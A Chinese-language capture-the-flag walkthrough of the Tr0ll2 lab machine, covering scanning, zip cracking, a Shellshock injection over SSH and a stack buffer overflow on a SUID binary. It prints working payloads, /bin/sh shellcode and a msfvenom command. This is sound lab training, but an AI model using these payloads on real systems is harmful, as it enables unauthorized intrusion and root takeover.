Tr0ll2靶机详解

news2025/3/28 14:29:48

一、主机发现

arp-scan -l

靶机ip:192.168.55.164

二、端口扫描、漏洞扫描、目录枚举、指纹识别

2.1端口扫描

nmap --min-rate 10000 -p- 192.168.55.164

发现21端口的ftp服务开启

以UDP协议进行扫描

使用参数-sU进行UDP扫描

nmap -sU --min-rate 10000 -p- 192.168.55.164

说明没有UDP端口开放

2.2漏洞扫描

nmap --script=vuln -p21,22,80 192.168.55.164

说明此靶机没有明显漏洞

2.3目录枚举

dirb http://192.168.55.164

2.4指纹识别

nmap 192.168.55.164 -sV -sC -O --version-all

指纹识别时看到21端口的ftp服务不能进行匿名登陆

三、进入靶机网页进行信息收集,拿到低权限shell

访问靶机网页,发现只有一张图片

3.1拿到密码文件

刚刚目录枚举出了一些信息

尝试在网页中打开

进去之后发现还是图片,这里感觉网站已经没有信息了,之后试了试中间件的漏洞,也没有合适的

随后将看到的图片都下载下来了,然后发现/noob这个目录下的图片名称有提示,让用cat查看该图片

去该目录下寻找答案

发现该文件是base64加密过的,尝试进行解密

base64 -d answer.txt > 1.txt

3.2拿到账号

这里只有密码,尝试去ftp服务找其它信息

根据提示,感觉用户名就是Tr0ll,密码也尝试一下Tr0ll

成功进入ftp服务,将其中的文件下载下来

下载后需要解压,发现解压需要密码

密码尝试使用刚刚解码后的文件,这里使用Fcrackzip工具

fcrackzip -u -D -p 1.txt lmao.zip 
-u 用zip去尝试
-D 使用字典
-p 使用字符串作为初始密码/文件
fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。

解压后是一个私钥

3.3拿到低权限shell

使用noob用户进行ssh登录

ssh -i noob noob@192.168.55.164

提示了sign_and_send_pubkey: no mutual signature supported,表示SSH连接时,客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数

ssh -i noob noob@192.168.55.164 -o PubkeyAcceptedKeyTypes=+ssh-rsa 

发现还是不行,不知道怎么办了,查资料发现是还有一个漏洞可以利用

发现shellshock攻击

ssh -i noob noob@192.168.55.164 -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'

成功拿下低权限shell

四、缓冲区溢出提权

升级shell

python -c 'import pty; pty.spawn("/bin/bash")'

4.1靶机信息收集

uname -a
lsb_release -a

尝试sudo提权,发现需要用户的密码

寻找SUID的命令

find / -perm  -4000 -print 2>/dev/null

查找定时任务

crontab -l

没发现有用的信息

只能在目录中寻找其它信息

在根目录下找到这个文件,有点“此地无银三百两”的意思

进入之后找到了三个门

door1下的r00t会在执行后短时间内不可以执行命令

door2 下的r00t会退出ssh

查看这三个门下的文件大小

ls -lahR

发现只有7.2k和8.3k两种

其中8.3k的r00t文件提示需要提供参数

4.2缓冲区溢出漏洞(第一种方法)

4.2.1缓冲区溢出准备工作

首先要做的就是要把该程序拿到kali本机中

将8.3k的文件先进行base64编码

base64 r00t

然后将编码后的内容复制到kali中

然后在kali中将编码后的内容进行解码

cat 2 | base64 -d  >r00t

使用gdb进行调试

disas main

发现存在缓冲区溢出函数

随后进行缓冲区溢出的调试

4.2.2判断溢出位置

使用msf的一个脚本

cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 1000
注:
此处的1000为一个较大的值,可以为500,600等任意一个较大的值

然后在gbd调试时将刚刚生成的值run即可

找到了溢出位置:0x6a413969

4.2.3寻找偏移量

还是在/usr/share/metasploit-framework/tools/exploit这个目录下使用msf的脚本

./pattern_offset.rb -q 6a413969 -l 1000

得知偏移量是268

4.2.4寻找ESP栈溢出地址

r $(python -c 'print ("A"*268 + "B"*4)')   # 在GDB调试工具中 r表示启动调试当前程序
info r # 分析程序调试过程中的状态,在检查程序崩溃、调试函数调用及访问变量时,经常使用,前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.,所以可以直接使用info r查看寄存器状态

eip也被覆盖

现在要找esp的位置

r $(python -c 'print ("A"*268 + "B"*4+"C"*20)') 

经尝试,C字符写入8-20的时候,esp地址均为0xbffffb80

写入24之后就改变了

获得esp地址:0xbffffb80

注:

控制EIP跳转至shellcode,需要将shellcode设置到ESP地址。但在此之前,我们需要找到一个可靠的 ESP 地址。需要注意的是,OS 加载器将环境变量放在变化的堆栈区域之前,因此它会直接影响 ESP 地址。此外,如何调用程序也很重要。

通过取消设置环境变量参数LINES 和 COLUMNS来取消环境变量的影响,获取真实的ESP地址。

env - gdb r00t
show env
unset env LINES
unset env COLUMNS

去Shellcodes database for study cases网站上寻找exp

成功找到

构造payload:

./r00t $(python -c 'print "A"* 268 + "\x80\xfb\xff\xbf" + "\x90" *20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

成功提权!

4.3缓冲区溢出(第二种方法)

4.3.1寻找坏字符

此方法跟方法一只是反弹shell的方式不同,反弹shell之前的内容均相同

确定ESP的地址之后寻找坏字符

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

查找坏字符:

x/256x $esp   
x/256b $esp

两条命令互相使用,检查坏字符

0x00是一个坏字符

可知0x09是一个坏字符

去掉后继续进行测试

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

发现依然错误,将0x0a去掉继续尝试

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

对照发现是0x20是坏字符,去掉继续尝试

r $(python -c 'print "A"*268 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ')

发现后续的均连续,说明坏字符为:\x00\x0a\x09\x20

4.3.2msf编写payload

msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

编写payload

./r00t $(python -c 'print ("A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xba\xa0\x03\xb5\x23\xda\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0b\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x55\x69\xbe\x7b\x0c\x3c\xa6\x13\x03\xa2\xaf\x03\x33\x0b\xc3\xa3\xc3\x3b\x0c\x56\xaa\xd5\xdb\x75\x7e\xc2\xd4\x79\x7e\x12\xca\x1b\x17\x7c\x3b\xaf\x8f\x80\x14\x1c\xc6\x60\x57\x22")')

成功提权!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2318888.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

制造业数字化转型,汽车装备制造企业数字化转型案例,智能制造数字化传统制造业数字化制造业数字化转型案例

《某制造业企业信息化整体解决方案》PPT展示了一个汽车装备企业的整体信息化解决方案,阐述了该企业的业务特点和现状,主要包括按订单生产、多级计划和产品跟踪等,分析了信息化建设的主要困难,如信息管理手工化、过程数据追溯困难、…

科技云报到:AI Agent打了个响指,商业齿轮加速转动

科技云报到原创。 3月16日,百度旗下文心大模型4.5和文心大模型X1正式发布。目前,两款模型已在文心一言官网上线,免费向用户开放。 同时,文心大模型4.5已上线百度智能云千帆大模型平台,企业用户和开发者登录即可调用AP…

【蓝桥杯python研究生组备赛】005 数学与简单DP

题目1 01背包 有 N 件物品和一个容量是 V 的背包。每件物品只能使用一次。 第 i 件物品的体积是 vi,价值是 wi。 求解将哪些物品装入背包,可使这些物品的总体积不超过背包容量,且总价值最大。 输出最大价值。 输入格式 第一行两个整数&a…

大白话读懂java对象创建的过程

1. java对象创建流程(大白话版) 咱们java对象被创建的过程大致如下,即: 在 JVM 中对象的创建,从⼀个 new 指令开始: 首先检查这个指令的参数是否能在常量池中定位到⼀个类的符号引用检查这个符号引用代表…

AI图像理解技术的演进

在CLIP等现代多模态模型出现之前,早期的图生文技术主要依赖人工标注的ImageNet等数据集,但其技术路线与当前方法存在本质差异。 一、传统图生文技术的标注依赖 ImageNet的核心地位 在2012-2020年间,ImageNet的1,400万张人工标注图像&#xff…

电脑节电模式怎么退出 分享5种解决方法

在使用电脑的过程中,许多用户为了节省电力,通常会选择开启电脑的节能模式。然而,在需要更高性能或进行图形密集型任务时,节能模式可能会限制系统的性能表现。这时,了解如何正确地关闭或调整节能设置就显得尤为重要了。…

【Java】——程序逻辑控制(构建稳健代码的基石)

🎁个人主页:User_芊芊君子 🎉欢迎大家点赞👍评论📝收藏⭐文章 🔍系列专栏:【Java】内容概括 文章目录: 一.顺序结构二.分支结构1.if 语句1.1 语法格式11.2 语法格式21.3 语法格式3 …

卫星互联网智慧杆:开启智能城市新时代​

哇哦!在当下这个数字化浪潮正以雷霆万钧之势席卷全球的超酷时代,智慧城市建设已然成为世界各国你追我赶、竞相发力的核心重点领域啦!而咱们的卫星互联网智慧杆,作为一项完美融合了卫星通信与物联网顶尖技术的创新结晶,…

Qt-QChart实现折线图

一、介绍场景 动态查看数据变化,或者了解数据发展趋势,让数据可以形象直观展现出来,这里推荐使用折线图的方式展现,本文抛砖引玉,简单实现一个实例,效果图如下: 二、实现步骤 1、charts组件 …

取消Win10锁屏界面上显示的天气、市场和广告的操作

要取消Win10锁屏界面上显示的天气、市场和广告,您可以按照以下步骤操作: 方法一:更改锁屏界面设置 打开“设置”: 点击“开始”菜单,然后点击齿轮状的“设置”图标。 进入“个性化”: 在“设置”窗口中&a…

从TouchDriver Pro到Touchdriver G1,Weart触觉手套全系解析:XR交互的“真实触感”如何实现?

Weart旗下的Touchdriver Pro触觉手套和Touchdriver G1触觉手套,凭借其技术创新,为用户带来了全新的触觉体验。Touchdriver Pro触觉手套通过多模态触觉反馈技术,提供力反馈、纹理渲染和温度提示,让用户在虚拟环境中感受到真实的触觉…

排序算法实现:插入排序与希尔排序

目录 一、引言 二、代码整体结构 三、宏定义与头文件 四、插入排序函数(Insertsort) 函数作用 代码要点分析 五、希尔排序函数(ShellSort) 函数作用 代码要点分析 六、打印数组函数(PrintSort&#x…

UDP协议原理

UDP协议原理 本篇介绍 在前面使用UDP编程时已经基本了解了UDP的工作模式,也知道了UDP有三个特点: 无连接不可靠面向数据报 但是当时并没有具体谈论为什么UDP有以上三个特点,基于这个原因,本篇就会针对这三个原因进行介绍 UDP…

EtherCAT转Modbus网关如何在倍福plc组态快速配置

EtherCAT转Modbus网关如何在倍福plc组态快速配置 在工业控制领域,EtherCAT和Modbus是两种常见的总线通信协议。EtherCAT以其高速的数据传输和灵活的网络配置被广泛应用于高性能自动化控制系统中,而Modbus则因其简单、稳定且兼容性强而被许多设备所支持。…

DooTask在Linux的离线部署教程

DooTask在Linux的离线部署教程 下载安装包 从网盘中将安装包下载到本地,下载地址 通过网盘分享的文件:DooTask项目管理工具 链接: https://pan.baidu.com/s/1hGmLXonT4c8hLiDP1QBr8w?pwdgdp6 提取码: gdp6 通过网盘分享的文件:DooTask项目…

Python实现WYY音乐下载

一、需求背景 WYY音乐作为国内主流音乐平台,其歌曲资源丰富但下载接口存在多重加密保护。本文将通过Python结合JS逆向技术,解析其核心加密逻辑,实现免费歌曲的下载功能。 二、技术难点分析 1. 接口加密机制 通过抓包分析可知,网易云核心接口使用两次加密: 第一次:获取…

Java基础面试题学习

转换成自已的语言来回答,来源小林coding、沉默王二以及其它资源和自已改编。 1、概念 1、说一下Java的特点 我认为Java有很多特点 首先是平台无关性:Java可以实现一次编译到处运行,因为Java的编译器将源代码编译成字节码,使得该…

【笔记】深度学习模型训练的 GPU 内存优化之旅:重计算篇

开设此专题,目的一是梳理文献,目的二是分享知识。因为笔者读研期间的研究方向是单卡上的显存优化,所以最初思考的专题名称是“显存突围:深度学习模型训练的 GPU 内存优化之旅”,英文缩写是 “MLSys_GPU_Memory_Opt”。…

AI革命!蓝耘携手海螺AI视频,打造智能化视频新纪元

AI革命!蓝耘携手海螺AI视频,打造智能化视频新纪元 前言 在这个信息爆炸的时代,视频已经成为我们获取信息、学习新知识的重要方式。而随着人工智能(AI)技术的快速发展,AI与视频内容的结合为我们带来了全新的…

Django+celery+flower

Djangoceleryflower Django的定时任务及可视化监控Django Django的定时任务及可视化监控 Django的定时任务,以及可视化监控。 Django Django; 首先在python中新建虚拟环境并激活 pip install virtualenv python -m venv venv source venv/bin/activa…